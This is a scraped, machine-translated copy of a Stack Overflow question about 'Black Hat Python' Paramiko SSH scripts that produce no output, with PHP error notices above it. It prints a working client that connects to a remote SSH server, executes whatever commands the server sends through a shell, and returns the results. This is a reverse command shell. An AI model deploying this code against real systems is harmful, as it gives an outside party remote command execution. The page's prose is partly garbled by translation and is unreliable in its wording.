Warning: file_get_contents(/data/phpspider/zhask/data//catemap/1/ssh/2.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Python脚本运行但不';我什么也不做_Python_Ssh - Fatal编程技术网

Python脚本运行但不';我什么也不做

Python脚本运行但不';我什么也不做,python,ssh,Python,Ssh,最近,我对渗透测试产生了兴趣。在投资一门全面的课程之前,我决定尝试学习如何编写一些脚本。目前我正在阅读Justin Seitz的《黑帽Python》一书 我在使用Paramiko的SSH部分,其中两个脚本让我感到困惑。它们都运行时没有错误,但屏幕上没有显示任何内容。在Windows和Linux中,终端(或DOS提示符)会立即返回提示符。我已经检查了几次脚本,没有发现问题。两个脚本的代码如下所示 Script#1bh_sshserver.py(此脚本的目的是创建ssh服务器) 脚本#2bh_ssh

最近,我对渗透测试产生了兴趣。在投资一门全面的课程之前,我决定尝试学习如何编写一些脚本。目前我正在阅读Justin Seitz的《黑帽Python》一书

我在使用Paramiko的SSH部分,其中两个脚本让我感到困惑。它们都运行时没有错误,但屏幕上没有显示任何内容。在Windows和Linux中,终端(或DOS提示符)会立即返回提示符。我已经检查了几次脚本,没有发现问题。两个脚本的代码如下所示

Script#1
bh_sshserver.py
(此脚本的目的是创建ssh服务器)

脚本#2
bh_sshRcmd.py
(此脚本的目的是为ssh服务器创建一个要连接的命令接收器)


这两个脚本都是在Windows中编写的,因此不需要顶部的shebang语句(即#
!/usr/bin/python
)。我将它们复制到一个Linux虚拟机上并添加了该语句,并使用
chmod+x
使它们可执行。不过,当脚本运行时,屏幕上没有显示任何内容。IP地址来自VMware虚拟网络,以前从未出现过问题。

连接到服务器时可能出现错误。尝试添加更多打印语句以涵盖以下条件:

import threading 
import paramiko
import subprocess

def ssh_command(ip, user, passwd, command):
    print 'running ssh_command with ip: {ip} user: {user} passwd: {passwd}, command: {command}'.format(ip=ip,user=user,passwd=passwd,command=command)
    client = paramiko.SSHClient()

    #client.load host keys ('/home/root/.ssh/known_hosts')

    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

    client.connect(ip, username=user, password=passwd)
    ssh_session = client.get_transport().open_session()
    if ssh_session.active:
        print 'ssh_session is active'
        ssh_session.exec_command(command)
        print ssh_session.recv(1024)

        # Read the banner

        while True:
            print 'recv-ing'
            command = ssh_session.recv(1024)
            # Get Command from SSH Server
            try:
                cmd_output = subprocess.check_output(command, shell=True)
                ssh_session.send(cmd_output)
            except Exception, e:
                ssh_session.send(str(e))
                client.close()
            return
    else:
        print 'ssh_session is not active'

ssh_command('192.168.1.26', 'Admin', '12345', 'ClientConnected')
至于
bh_sshserver.py
,如果运行
python bh_sshserver.py
,则不会发生任何事情。这是因为在主作用域中没有任何语句。如果您想启动服务器,可以在脚本底部添加代码,而无需缩进。

  • 您应该使用如下命令行参数从终端调用服务器:
    python scriptname.py服务器地址端口
  • 更改客户端脚本最后一行的缩进-它应该调用您的函数
  • 终端和客户端函数中的服务器地址应相同
差不多就这些了


如果您需要,我可以为您提供这两个为我工作的脚本

感谢所有回复的人。最后,我从github找到了一些Paramiko演示文件,其中包括一个示例SSH服务器。事实证明,剧本比作者想象的要复杂得多。我丢失了大量代码,这就是服务器无法工作的原因。当我使我的脚本与样本大致匹配时,它就完美地工作了,我的客户也是如此

如果有人遇到类似的问题,以下是指向Paramiko演示文件的链接:


是否应缩进
bhsshrcmd.py
的最后一行?这可能就是为什么没有运行任何程序。我已经编辑了您的问题,使其可读。请检查Python代码,尤其是缩进是否正确。@amccormack我已经解决了这个问题,尽管我不确定整个代码。例如,从未使用过类
Server
。是的,我假设它应该运行服务器端,但他从未启动过。另外,为什么
bh_sshRcmd.py
的最后一行是
ssh_命令的最后一个参数。这似乎不是有效的命令。试试
whoami
,它在我遇到的每个操作系统中都运行,所以当你想看看代码执行是否有效时,它是一个非常好的测试。
import threading 
import paramiko
import subprocess

def ssh_command(ip, user, passwd, command):
    client = paramiko.SSHClient()

    #client.load host keys ('/home/root/.ssh/known_hosts')

    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

    client.connect(ip, username=user, password=passwd)
    ssh_session = client.get_transport().open_session()
    if ssh_session.active:
        ssh_session.exec_command(command)
        print ssh_session.recv(1024)

        # Read the banner

        while True:
            command = ssh_session.recv(1024)
            # Get Command from SSH Server
            try:
                cmd_output = subprocess.check_output(command, shell=True)
                ssh_session.send(cmd_output)
            except Exception, e:
                ssh_session.send(str(e))
                client.close()
            return
        ssh_command('192.168.1.26', 'Admin', '12345', 'ClientConnected')
import threading 
import paramiko
import subprocess

def ssh_command(ip, user, passwd, command):
    print 'running ssh_command with ip: {ip} user: {user} passwd: {passwd}, command: {command}'.format(ip=ip,user=user,passwd=passwd,command=command)
    client = paramiko.SSHClient()

    #client.load host keys ('/home/root/.ssh/known_hosts')

    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

    client.connect(ip, username=user, password=passwd)
    ssh_session = client.get_transport().open_session()
    if ssh_session.active:
        print 'ssh_session is active'
        ssh_session.exec_command(command)
        print ssh_session.recv(1024)

        # Read the banner

        while True:
            print 'recv-ing'
            command = ssh_session.recv(1024)
            # Get Command from SSH Server
            try:
                cmd_output = subprocess.check_output(command, shell=True)
                ssh_session.send(cmd_output)
            except Exception, e:
                ssh_session.send(str(e))
                client.close()
            return
    else:
        print 'ssh_session is not active'

ssh_command('192.168.1.26', 'Admin', '12345', 'ClientConnected')